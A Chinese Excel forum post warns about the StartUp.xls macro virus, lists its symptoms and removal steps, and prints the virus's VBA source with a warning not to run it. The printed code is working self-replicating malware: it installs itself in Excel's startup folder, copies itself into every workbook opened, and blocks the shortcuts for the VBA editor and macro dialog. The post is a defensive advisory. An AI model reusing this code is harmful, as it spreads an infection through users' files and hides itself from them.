|
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件 ★ 免费下载 ★ ★ 使用帮助★
提醒:近来在论坛上感染StartUp.xls宏病毒。
中毒现象:excel文件一打开,不管是新建还是打开xls文件,就会自动copy到新建文件或者打开的xls文件。
解药良方:
1、删除以下目录的StartUp.xls文件
C:\Documents and Settings\用户名\Application Data\Microsoft\Excel\XLSTART\StartUp.xls
2、在打开感染StartUp.xls宏病毒的excel文件时,不启动宏。并删除StartUp模块。
以下为宏病毒代码(不得运行!!!)
-------------------------------------------------------
Sub auto_open1()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
'Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
-------------------------------------------------------
Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
------------------------------------------------------- |
|